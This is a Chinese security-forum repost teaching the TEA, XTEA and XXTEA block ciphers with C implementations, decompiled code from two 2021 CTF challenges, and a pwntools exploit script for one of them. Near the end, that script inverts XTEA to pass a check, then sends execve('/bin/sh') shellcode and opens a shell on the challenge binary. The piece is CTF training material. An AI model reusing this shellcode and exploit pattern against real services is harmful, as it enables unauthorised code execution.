安全矩阵

 找回密码
 立即注册
搜索
查看: 1084|回复: 0

tea系列算法速成总结及其在PWN中运用

[复制链接]

991

主题

1063

帖子

4319

积分

论坛元老

Rank: 8Rank: 8

积分
4319
发表于 2022-2-20 11:36:59 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2022-2-20 11:38 编辑

原文链接:tea系列算法速成总结及其在PWN中运用

在安全学领域,TEA(Tiny Encryption Algorithm)是一种分组加密算法,它的实现非常简单,通常只需要很精短的几行代码。TEA 算法最初是由剑桥计算机实验室的 David Wheeler 和 Roger Needham 在 1994 年设计的。


TEA系列算法在目前较为基础的reserve题目中会较常出现,但是随着CTF的参赛人员质量的提高,以往一些在逆向较为常见的算法也逐渐运用到pwn里面形成了新的题型RePwn,所以做为pwn手,对于逆向的学习是很有必要的。目前,tea算法总共有3大类(魔改除外),tea,xtea,xxtea。
TEATEA算法的原理简单阐述就是每次加密2个元素,加密方式通过利用key schedule constant(关键时刻表常数)以及4位密钥进行指定轮数的加减、位移以及异或操作,通常的轮数为32轮。
C语言实现TEA加密解密
  1. #include <stdio.h>

  2. //加密函数
  3. void encrypt (unsigned int* v, unsigned int* k) {
  4. unsigned int v0=v[0], v1=v[1], sum=0, i; /* set up */
  5. unsigned int delta=0x9e3779b9; /* a key schedule constant */
  6. unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
  7. for (i=0; i < 32; i++) { /* basic cycle start */
  8. sum += delta;
  9. v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
  10. v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
  11. } /* end cycle */
  12. v[0]=v0; v[1]=v1;
  13. }
  14. //解密函数
  15. void decrypt (unsigned int* v, unsigned int* k) {
  16. unsigned int v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
  17. unsigned int delta=0x9e3779b9; /* a key schedule constant */
  18. unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
  19. for (i=0; i<32; i++) { /* basic cycle start */
  20. v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
  21. v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
  22. sum -= delta;
  23. } /* end cycle */
  24. v[0]=v0; v[1]=v1;
  25. }

  26. int main()
  27. {
  28. unsigned int v[2]={6,9},k[4]={1,2,3,4};
  29. // v为要加密的数据是两个32位无符号整数
  30. // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
  31. printf("加密前原始数据:%u %u\n",v[0],v[1]);
  32. encrypt(v, k);
  33. printf("加密后的数据:%u %u\n",v[0],v[1]);
  34. decrypt(v, k);
  35. printf("解密后的数据:%u %u\n",v[0],v[1]);
  36. return 0;
  37. }
复制代码

XTEA



该算法为TEA算法的升级版,设计者是Roger Needham, David Wheeler。XTEA算法相当于TEA算法来说,加密的时候对密钥进行了位移操作,同时也额外增加了一些异或操作。本质上和TEA算法的差别不大C语言实现XTEA加密解密
  1. #include <stdio.h>

  2. /* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

  3. void encipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
  4. unsigned int i;
  5. unsigned int v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
  6. for (i=0; i < num_rounds; i++) {
  7. v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  8. sum += delta;
  9. v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
  10. }
  11. v[0]=v0; v[1]=v1;
  12. }

  13. void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
  14. unsigned int i;
  15. unsigned int v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
  16. for (i=0; i < num_rounds; i++) {
  17. v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
  18. sum -= delta;
  19. v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  20. }
  21. v[0]=v0; v[1]=v1;
  22. }

  23. int main()
  24. {
  25. unsigned int v[2]={1,2};
  26. unsigned int const k[4]={2,2,3,4};
  27. unsigned int r=32;//num_rounds建议取值为32
  28. // v为要加密的数据是两个32位无符号整数
  29. // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
  30. printf("加密前原始数据:%u %u\n",v[0],v[1]);
  31. encipher(r, v, k);
  32. printf("加密后的数据:%u %u\n",v[0],v[1]);
  33. decipher(r, v, k);
  34. printf("解密后的数据:%u %u\n",v[0],v[1]);
  35. return 0;
  36. }
复制代码

XXTEA
XXTEA是XTEA的升级版,设计者是Roger Needham, David Wheele.XXTEA相较于XTEA以及TEA有了较大的变化,XXTEA算法使用128bit的密钥对以32bit为单位的信息块进行加密

C语言实现XXTEA加密解密
  1. #include <stdio.h>
  2. #define DELTA 0x9e3779b9
  3. #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

  4. void btea(unsigned int *v, int n, unsigned int const key[4])
  5. {
  6. unsigned int y, z, sum;
  7. unsigned p, rounds, e;
  8. if (n > 1) /* Coding Part */
  9. {
  10. rounds = 6 + 52/n;
  11. sum = 0;
  12. z = v[n-1];
  13. do
  14. {
  15. sum += DELTA;
  16. e = (sum >> 2) & 3;
  17. for (p=0; p<n-1; p++)
  18. {
  19. y = v[p+1];
  20. z = v[p] += MX;
  21. }
  22. y = v[0];
  23. z = v[n-1] += MX;
  24. }
  25. while (--rounds);
  26. }
  27. else if (n < -1) /* Decoding Part */
  28. {
  29. n = -n;
  30. rounds = 6 + 52/n;
  31. sum = rounds*DELTA;
  32. y = v[0];
  33. do
  34. {
  35. e = (sum >> 2) & 3;
  36. for (p=n-1; p>0; p--)
  37. {
  38. z = v[p-1];
  39. y = v[p] -= MX;
  40. }
  41. z = v[n-1];
  42. y = v[0] -= MX;
  43. sum -= DELTA;
  44. }
  45. while (--rounds);
  46. }
  47. }


  48. int main()
  49. {
  50. unsigned int v[2]= {1,2};
  51. unsigned int const k[4]= {2,2,3,4};
  52. int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密
  53. // v为要加密的数据是两个32位无符号整数
  54. // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
  55. printf("加密前原始数据:%u %u\n",v[0],v[1]);
  56. btea(v, n, k);
  57. printf("加密后的数据:%u %u\n",v[0],v[1]);
  58. btea(v, -n, k);
  59. printf("解密后的数据:%u %u\n",v[0],v[1]);
  60. return 0;
  61. }
复制代码

v是要加密的组元的起始地址,以32bit为单位,这里用long来实现。n是要加密的组元个数,正数是加密,负数是解密。k是密钥的起始地址,长度为4个组元,4*32=128bit。返回值为0或1(对应n=0,没有计算)。加密的结果会直接写回到v中。



TEA系列算法在CTF中的实例2021长安杯线下赛



魔改TEA,需要注意的是题目数据大小端的问题,常规解TEA无法得到正确结果,需要自己转化。密文部分
  1. _BOOL8 __fastcall check_password(_BYTE *a1)
  2. {
  3.   encrypto((unsigned int *)a1);
  4.   return *a1 == 0x14
  5.       && a1[1] == 0x5C
  6.       && a1[2] == 0xA6
  7.       && a1[3] == 0xD2
  8.       && a1[4] == 0xE
  9.       && a1[5] == 0x45
  10.       && a1[6] == 9
  11.       && a1[7] == 119;
  12. }
复制代码
加密代码部分
  1. __int64 __fastcall encrypto(unsigned int *a1)
  2. {
  3.   __int64 result; // rax
  4.   int i; // [rsp+1Ch] [rbp-3Ch]
  5.   unsigned int v3; // [rsp+20h] [rbp-38h]
  6.   unsigned int v4; // [rsp+24h] [rbp-34h]
  7.   unsigned int v5; // [rsp+28h] [rbp-30h]
  8.   int v6[6]; // [rsp+38h] [rbp-20h]
  9.   unsigned __int64 v7; // [rsp+50h] [rbp-8h]

  10.   v7 = __readfsqword(0x28u);
  11.   v6[0] = 0x28371234;
  12.   v6[1] = 0x19283543;
  13.   v6[2] = 423118625;
  14.   v6[3] = -1741216238;
  15.   v3 = *a1;
  16.   v4 = a1[1];
  17.   v5 = 0;
  18.   for ( i = 0; i <= 31; ++i )
  19.   {
  20.     v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
  21.     v5 -= 0x61C88647;
  22.     v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
  23.   }
  24.   *a1 = v3;
  25.   result = v4;
  26.   a1[1] = v4;
  27.   return result;
  28. }
复制代码

2021广东大学生网络安全攻防大赛线下赛



动态XTEA算法数据生成代码,利用time作为随机数种,随机生成加密的密钥以及明文。
  1. int sub_C51()
  2. {
  3.   unsigned int v0; // eax

  4.   puts("The game is initializing, please wait...");
  5.   v0 = time(0LL);
  6.   srand(v0);
  7.   dword_202050[0] = rand();
  8.   sleep(1u);
  9.   dword_202048[0] = rand();
  10.   sleep(1u);
  11.   dword_202048[1] = rand();
  12.   puts("Okay, the game starts now.");
  13.   return printf("Your secret key :%u\n", dword_202050[0]);
  14. }
复制代码
密钥部分以及明文赋值
  1. __int64 sub_CE2()
  2. {
  3.   int v1[4]; // [rsp+0h] [rbp-20h] BYREF
  4.   int v2[4]; // [rsp+10h] [rbp-10h] BYREF

  5.   v2[0] = 2730;
  6.   v2[1] = 3003;
  7.   v2[2] = 3276;
  8.   v2[3] = 3549;
  9.   v1[0] = dword_202048[0];
  10.   v1[1] = dword_202048[1];
  11.   return sub_B50(v1, v2, dword_202050);
  12. }
复制代码
加密部分
  1. int __fastcall sub_B50(unsigned int *a1, _DWORD *a2, int a3)
  2. {
  3.   unsigned int i; // [rsp+30h] [rbp-10h]
  4.   int v5; // [rsp+34h] [rbp-Ch]
  5.   unsigned int v6; // [rsp+38h] [rbp-8h]
  6.   unsigned int v7; // [rsp+3Ch] [rbp-4h]

  7.   v7 = *a1;
  8.   v6 = a1[1];
  9.   v5 = 0;
  10.   for ( i = 0; i <= 0x1F; ++i )
  11.   {
  12.     v5 += a3;
  13.     v7 += (v6 + v5) ^ (16 * v6 + *a2) ^ ((v6 >> 5) + a2[1]);
  14.     v6 += (v7 + v5) ^ (16 * v7 + a2[2]) ^ ((v7 >> 5) + a2[3]);
  15.   }
  16.   *a1 = v7;
  17.   a1[1] = v6;
  18.   return printf("Your gift:0x%x,0x%x\n", *a1, a1[1]);
  19. }
复制代码

EXP
  1. from pwn import *
  2. from ctypes import *
  3. def get_shell(ip):
  4. global sh
  5. port=10000
  6. #sh = remote(ip, port)
  7. sh=process('./pwn')
  8. context.log_level='debug'
  9. #sh=remote('192.168.123.131',12000)
  10. sh.recvuntil('Your secret key :')
  11. key=int(sh.recv(10),10)
  12. print(key)
  13. sh.recvuntil("0x")
  14. leak1=int(sh.recv(8),16)
  15. print((leak1))
  16. sh.recvuntil("0x")
  17. leak2=int(sh.recv(8),16)
  18. print((leak2))
  19. #sh.interactive()
  20. a1= [(leak1),(leak2)]
  21. v7 = c_uint32(a1[0])
  22. v6 = c_uint32(a1[1])
  23. v5 = 0
  24. a3=(key)
  25. v5=c_uint32(a3*0x20)
  26. for i in range(0x20):
  27.   v6.value -= ((v7.value + v5.value) ^ (16 * v7.value + 0xCCC) ^ ((v7.value >> 5) + 0xDDD))
  28.   v7.value -= ((v6.value + v5.value) ^ (16 * v6.value + 0xAAA) ^ ((v6.value >> 5) + 0xBBB))
  29.   v5.value -= (key)
  30. a1[0] = v7.value
  31. a1[1] = v6.value
  32. print(a1[0],a1[1])
  33. #sh.interactive()
  34. sh.recv()
  35. sh.sendline(str(a1[0])+(",")+str(a1[1]))
  36. sh.sendline("A")
  37. sh.recv()
  38. sh.sendline("1638")
  39. sh.recv()
  40. context.arch = 'amd64'
  41. code = '''
  42. mov rax, 0x68732f6e69622f;
  43. push rax
  44. mov rdi, rsp;
  45. mov rsi, 0;
  46. xor rdx, rdx;
  47. mov rax, 59;
  48. syscall
  49. '''
  50. sc = asm(code)
  51. #sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")
  52. sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
  53. print(len("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"))
  54. print(len(sc))
  55. sh.interactive()
  56. return sh
  57. get_shell(1)
复制代码

广东省线下赛题目链接
链接:https://pan.baidu.com/s/12_tngnxx7dGt4N5PcnEvJg?pwd=hgc5提取码:hgc5--来自百度网盘超级会员V3的分享



TEA系列算法解密思维概述TEA,XTEA



对于TEA AND XTEA来说,本质上二者无太大的区别,由于异或的特性,异或n次加密再异或n次就能解密,所以对于加密算法中括号的数据处理方法一概可以忽略,我们需要变换的只是数据处理顺序以及讲加法改减法(减法改加法)注意,tea系列算法的数据处理必定都是2个元素为一组去处理。


XXTEA
XXTEA算法的解密同样只是对加密算法的数据处理顺序进行倒置,同时加法改减法(减法改加法)






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-7-22 00:47 , Processed in 0.014607 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表